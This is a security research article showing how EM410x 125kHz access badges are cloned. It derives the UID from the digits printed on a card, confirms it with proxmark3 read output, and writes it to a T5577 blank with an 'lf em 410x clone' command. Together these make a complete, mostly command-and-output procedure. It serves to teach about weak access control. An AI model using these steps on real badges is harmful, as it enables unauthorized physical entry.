Physical Access Control Systems
EM410x (LF)
Published: December 1, 2025
Warning: This is a security research article. Always obtain proper authorization before testing any access control systems. Unauthorized testing of physical security systems is illegal and unethical.
The EM410x family of RFID tags are fairly common choices for low frequency access control systems. However, they are inherently insecure due to a multitude of factors.
Not unlike other low frequency RFID tags, EM410x tags use a static, unencrypted pre-programmed UID for authentication. This UID is easily readable and copied to other tags for the purposes of cloning. Not only is the UID readable by a proxmark or any other RFID reader, it is common practice for UIDs to be printed on the back of the tag. You might not even need to interface with the tag to clone it!
EM410x Format
Below is an example of the back of a typical EM4100 card - you can see that there are characters printed.

The UID stored on the tag's memory is in hexadecimal format. So if we convert the first set of numbers, "0004523835", it becomes "45073B":
┌──(root㉿kali)-[/home/kali/proxmark3]
└─# echo "obase=16; 0004523835" | bc
45073B
Note: I am using
iceman's fork of the proxmark3 firmware for this example. Your syntax may differ slightly.
Now we can confirm the UID we derived from the printed characters by reading the tag contents with a proxmark.
[usb] pm3 --> lf search
[=] Note: False Positives ARE possible
[=]
[=] Checking for known tags...
[=]
[+] EM 410x ID 020045073B
[+] EM410x ( RF/64 )
[=] -------- Possible de-scramble patterns ---------
[+] Unique TAG ID : 4000A2E0DC
[=] HoneyWell IdentKey
[+] DEZ 8 : 04523835
[+] DEZ 10 : 0004523835
[+] DEZ 5.5 : 00069.01851
[+] DEZ 3.5A : 002.01851
[+] DEZ 3.5B : 000.01851
[+] DEZ 3.5C : 069.01851
[+] DEZ 14/IK2 : 00008594458427
[+] DEZ 15/IK3 : 000274888581340
[+] DEZ 20/ZK : 04000000100214001312
[=]
[+] Other : 01851_069_04523835
[+] Pattern Paxton : 39404859 [0x259453B]
[+] Pattern 1 : 8588974 [0x830EAE]
[+] Pattern Sebury : 1851 69 4523835 [0x73B 0x45 0x45073B]
[+] VD / ID : 002 / 0004523835
[+] Pattern ELECTRA : 512 4523835
[=] ------------------------------------------------
[+] Valid EM410x ID found!
In the possible de-scramble patterns, you can see "069.01851" - this matches the second set of decimal numbers printed on the tag. This is a set of vendor-specific patterns that can be used to represent the same card data. In this case you can see that DEZ 3.5C is a match, and so the proxmark will use this format for further interactions.
Taking a look at the EM 410x ID discovered, we can see it matches the UID we derived before minus the 0200 prefix. When transmitting, the UID prefix is actually truncated or even ignored by the reader - this is due to bit length limitations within the wiegand protocol.
Cloning
Since we know the UID of the tag now, it is as simple as writing the UID to another card. Because EM410x tags are read-only, we will use a chipset called the T5577 which can emulate many different 125kHz RFID tags - including the EM410x family.
[usb] pm3 --> lf em 410x clone --id 020045073B
[+] Preparing to clone EM4102 to T55x7 tag with EM Tag ID 020045073B (RF/64)
[=] Encoded to FF 80 A0 02 54 07 9A F8
[#] Clock rate: 64
[#] Tag T55x7 written with 0xff80a00254079af8
[+] Done!
[?] Hint: Try `lf em 410x reader` to verify
If we read the T5577 card now, it is identical to the original EM4100 card - it's as easy as that.
[usb] pm3 --> lf search
[=] Note: False Positives ARE possible
[=]
[=] Checking for known tags...
[=]
[+] EM 410x ID 020045073B
[+] EM410x ( RF/64 )
[=] -------- Possible de-scramble patterns ---------
[+] Unique TAG ID : 4000A2E0DC
[=] HoneyWell IdentKey
[+] DEZ 8 : 04523835
[+] DEZ 10 : 0004523835
[+] DEZ 5.5 : 00069.01851
[+] DEZ 3.5A : 002.01851
[+] DEZ 3.5B : 000.01851
[+] DEZ 3.5C : 069.01851
[+] DEZ 14/IK2 : 00008594458427
[+] DEZ 15/IK3 : 000274888581340
[+] DEZ 20/ZK : 04000000100214001312
[=]
[+] Other : 01851_069_04523835
[+] Pattern Paxton : 39404859 [0x259453B]
[+] Pattern 1 : 8588974 [0x830EAE]
[+] Pattern Sebury : 1851 69 4523835 [0x73B 0x45 0x45073B]
[+] VD / ID : 002 / 0004523835
[+] Pattern ELECTRA : 512 4523835
[=] ------------------------------------------------
[+] Valid EM410x ID found!
[+] Chipset... T55xx
← Back to Home